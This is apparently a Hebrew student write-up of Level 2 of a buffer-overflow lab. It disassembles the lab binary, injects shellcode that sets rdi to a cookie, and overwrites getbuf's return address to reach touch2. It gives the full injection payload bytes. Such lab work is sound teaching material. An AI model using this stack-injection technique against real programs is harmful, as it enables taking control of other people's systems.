Level 2

- קפיצה לtouch2

בדומה לשלב הקודם נמצא את הכתובת של touch2

```
1. Dump of assembler code for function touch2:
2.    0x00000000004017c3 <+0>:     sub    $0x8,%rsp
3.    0x00000000004017c7 <+4>:     mov    %edi,%esi
4.    0x00000000004017c9 <+6>:     movl   $0x2,0x202d29(%rip)
   # 0x6044fc <vlevel>
5.    0x00000000004017d3 <+16>:    cmp    %edi,0x202d2b(%rip)
   # 0x604504 <cookie>
6.    0x00000000004017d9 <+22>:    je     0x4017fe <touch2+59>
7.    0x00000000004017db <+24>:    mov    $0x402f78,%edi
8.    0x00000000004017e0 <+29>:    mov    $0x0,%eax
9.    0x00000000004017e5 <+34>:    callq  0x400c40 <printf@plt>
10.     0x00000000004017ea <+39>:    mov    $0x2,%edi
11.     0x00000000004017ef <+44>:    callq  0x401c5e <fail>
12.     0x00000000004017f4 <+49>:    mov    $0x0,%edi
13.     0x00000000004017f9 <+54>:    callq  0x400da0 <exit@plt>
14.     0x00000000004017fe <+59>:    mov    $0x402f50,%edi
15.     0x0000000000401803 <+64>:    mov    $0x0,%eax
16.     0x0000000000401808 <+69>:    callq  0x400c40 <printf@plt>
17.     0x000000000040180d <+74>:    mov    $0x2,%edi
18.     0x0000000000401812 <+79>:    callq  0x401bac <validate>
19.     0x0000000000401817 <+84>:    jmp    0x4017f4 <touch2+49>
20.  End of assembler dump.
```

הכתובת של הפונקציה היא 0x4017c3

ולכן נרצה להכניס את המידע הבא: נשמור בקובץ בשם Input2.txt

```
1. 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c3 17 40
```

נבצע את אותן פעולות כמו בשלב הקודם ונפעיל את התוכנית עם הקלט המתאים ונקבל:

```
1. Cookie: 0x0000000
2. Type string:Misfire: You called touch2(0xa258ef60)
3. FAILED
```

כמו שכתוב בתרגיל הצלחנו להגיע לtouch2 אבל לא העברנו את הcookie בתור ארגומנט.

לפי התרגיל הארגומנט מועבר בתוך הרגיסטר rdi.

- ניצור את קוד אסמבלי (code.s) שאיתו נשים בתוך rdi את הערך של הcookie שלנו:

```
1. movq $0x666eb1be, %rdi
2. retq
```

כעת נרצה להפוך את הקוד שלנו לbyte code כדי שנוכל להוסיף אותו לתוכנית: נעשה זאת באמצעות קימפול ודיסאסמבלי:

```
1. gcc -c code.s
2. objdump -d code.o > code.d
```

וקיבלנו את הbytecode הבא:

0000000000000000 <.text>:

```
1.    0:    48 c7 c7 be b1 6e 66   mov    $0x666eb1be,%rdi
2.    7:    c3                     retq
```

<u>כעת לפי ההסבר בתרגיל נרצה לשים את הקוד שלנו כך שה*ret* בסוף *getbuf* יעביר את השליטה לקוד הזה.</u>

לכן נרצה למצוא את המיקום של הbuffer שלנו, נעשה זאת באמצעות מציאת הערך של rsp שמצביע על תחילת המערך.

ניזכר בתרגיל הקודם על הdisas של getbuf:

```
1. Dump of assembler code for function getbuf:
2.    0x0000000000401781 <+0>:     sub    $0x28,%rsp
3.    0x0000000000401785 <+4>:     mov    %rsp,%rdi
4.    0x0000000000401788 <+7>:     callq  0x4019b9 <Gets>
5.    0x000000000040178d <+12>:    mov    $0x1,%eax
6.    0x0000000000401792 <+17>:    add    $0x28,%rsp
7.    0x0000000000401796 <+21>:    retq
```

נרצה להגיע למצב של אחרי הקריאה לGets ולכן נשים נקודת עצירה בשורה 0x40178d

נריץ את הקוד עם קלט רגיל, ונגיע לנקודת העצירה, על מנת לבחון את המיקום והערך של rsp נכתוב:

```
1. x/s $rsp
```

ונקבל:

```
1. 0x55610198:      "asd"
```

כעת נרצה להזריק את הקוד שלנו לbuffer, לאחר גבולות הbuffer איפה שנמצא כתובת הret לשים את הכתובת של הbuffer שלנו על מנת שיריץ לנו את הקוד שמשנה את הערך של rdi ולאחר כל זה לשים בכתובת חזרה את הכתובת של touch2 על מנת שיגיע גם לשם.

לכן קובץ הinput שלנו יראה כך:

```
1. 48 c7 c7 be b1 6e 66 c3 00 00 //Code for setting cookie
2. 00 00 00 00 00 00 00 00 00 00 //Padding for 40 bytes
3. 00 00 00 00 00 00 00 00 00 00 //Padding for 40 bytes
4. 00 00 00 00 00 00 00 00 00 00 //Padding for 40 bytes
5. 98 01 61 55 00 00 00 00 //Address of rsp (the address of the
   injected code) + padding for 8 bytes of address
6. c3 17 40 00 00 00 00 00 //Address of touch2 + padding for 8 bytes
   of address
```